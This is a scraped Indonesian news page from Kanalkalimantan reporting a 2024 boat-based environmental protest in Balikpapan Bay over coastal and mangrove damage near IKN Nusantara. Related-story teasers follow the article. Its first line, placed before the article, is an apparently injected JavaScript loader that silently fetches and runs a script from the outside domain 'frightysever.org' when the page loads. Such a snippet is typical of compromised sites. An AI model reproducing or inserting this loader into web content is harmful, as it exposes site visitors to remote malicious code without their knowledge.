(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Puluhan warga yang tergabung dalam Koalisi Masyarakat Sipil (KMS) Kalimantan Timur (Kaltim) menggelar aksi unjuk rasa menyoroti kerusakan lingkungan di daerah mereka, Sabtu (8/6/2024).
Protes ini dilakukan sebagai bentuk kekecewaan terhadap kerusakan yang terjadi di wilayah pesisir, termasuk di sekitar lingkar Ibu Kota Negara (IKN) Nusantara dan Balikpapan.
Uniknya, unjuk rasa ini diadakan di tengah Teluk Balikpapan, dengan para demonstran menggunakan perahu nelayan sebagai panggung aksi. Dengan lokasi yang tidak biasa ini, mereka berhasil menarik perhatian publik sambil menyampaikan pesan kuat melalui berbagai poster dan spanduk.
Salah satu poster yang mencolok bertuliskan, “Kaltim Darurat, Lingkungan Sekarat. Hentikan Penghancuran Ruang Hidup di Kaltim,” yang menggambarkan betapa seriusnya kekhawatiran masyarakat terhadap kelangsungan hidup mereka. Mereka menuntut adanya tindakan segera dari pihak berwenang untuk menghentikan kerusakan yang semakin parah akibat aktivitas industri dan pembangunan yang tidak berkelanjutan.
Baca juga: Kiper Timnas Muhammad Ridho Resmi Gabung Barito Putera
Selain itu, spanduk lain menampilkan tuntutan seperti: “Save Teluk Balikpapan, Kembalikan Ruang Tangkap Nelayan, Fungsi Ekosistem Mangrove dan Habitat Satwa Endemik.” Tuntutan ini menekankan pentingnya pemulihan ekosistem mangrove, yang berperan vital tidak hanya bagi lingkungan, tetapi juga sebagai sumber penghidupan nelayan lokal.
Mengutip Kaltimtoday.co -jejaring Suara.com-, para peserta aksi juga menyoroti bahwa kerusakan lingkungan di Teluk Balikpapan tidak hanya mempengaruhi ekosistem, tetapi juga mengancam mata pencaharian masyarakat pesisir. Dengan melakukan aksi di atas perahu nelayan, mereka menunjukkan betapa eratnya hubungan mereka dengan laut sebagai sumber kehidupan.
Aksi ini juga menonjol karena melibatkan berbagai elemen masyarakat yang peduli terhadap lingkungan. Mereka menegaskan bahwa perjuangan untuk mempertahankan lingkungan yang sehat dan berkelanjutan adalah tanggung jawab bersama. Oleh karena itu, massa aksi mengajak seluruh lapisan masyarakat untuk lebih peduli dan berperan aktif dalam upaya penyelamatan lingkungan.
Baca juga: Buka Lahan Tidur di Sungai Ulin Dorong Ketahanan Pangan
Dalam aksinya, KMS Kaltim mengajukan sejumlah tuntutan kepada pemerintah dan pihak terkait. Mereka meminta penegakan hukum yang tegas terhadap pelaku perusakan lingkungan dan penerapan kebijakan yang mendukung kelestarian lingkungan serta keberlanjutan hidup masyarakat pesisir.
Melalui aksi ini, KMS Kaltim berharap dapat menyadarkan lebih banyak pihak tentang pentingnya menjaga dan melestarikan lingkungan demi keberlangsungan hidup generasi mendatang dan keadilan bagi masyarakat yang terdampak. (Kanalkalimantan/Suara.com)
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.